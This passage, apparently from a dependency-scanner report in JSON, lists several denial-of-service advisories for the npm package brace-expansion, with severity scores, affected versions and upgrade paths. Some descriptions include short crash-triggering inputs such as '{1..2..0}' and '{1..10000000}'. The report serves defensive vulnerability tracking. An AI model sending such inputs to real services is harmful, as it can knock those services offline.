"https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, 